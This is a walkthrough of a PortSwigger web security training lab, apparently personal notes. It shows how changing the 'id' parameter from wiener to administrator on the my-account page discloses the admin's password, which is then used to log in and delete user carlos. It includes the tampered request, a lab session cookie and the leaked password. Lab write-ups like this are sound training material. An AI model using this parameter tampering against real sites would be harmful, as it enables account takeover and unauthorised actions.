

Lab 8 - User ID controlled by request parameter with password disclosure

This lab has user account page that contains the current user's existing password, prefilled in a masked input.

To solve the lab, retrieve the administrator's password, then use it to delete `carlos`.

You can log in to your own account using the following credentials: `wiener:peter`

Possible Vulnerable id parameter

#	Host	Method	URL	Params	Edited
54	https://0a9e006c04cd18efc0f27...	GET	/academyLabHeader		
53	https://0a9e006c04cd18efc0f27...	GET	/my-account?id=wiener	✓	
52	https://0a9e006c04cd18efc0f27...	GET	/academyLabHeader		
51	https://0a9e006c04cd18efc0f27...	GET	/my-account?id=wiener	✓	

Change the request to administrator

Request	
Pretty	Raw
1	GET /my-account?id=administrator HTTP/1.1
2	Host: 0a9e006c04cd18efc0f27ab5004800e2.web-security-academy.net
3	Cookie: session=eRHjzobAGZuv0MdiCcve0AMiLlIDk7aoj
4	Sec-CH-UA: "Google Chrome";v="99" "Chromium";v="101"

The response has the password. It's hidden on the page via "input required type" tag

password
</label>
<input required type="hidden" name="csrf" value="VGGeMvVnFb16DVE7kdW51pjrIrPzJLZO">
<input required type="password" name="password" value="iitrs1tugtuvf6libwsv"/>
<button class='button' type='submit'>
Update password
</button>
</form>

Login as Admin

My Account

Your username is: administrator

Users

carlos - [Delete](#)

wiener - [Delete](#)

Delete the Carlos

Congratulations, you solved the lab!

User deleted successfully!

Users

wiener - [Delete](#)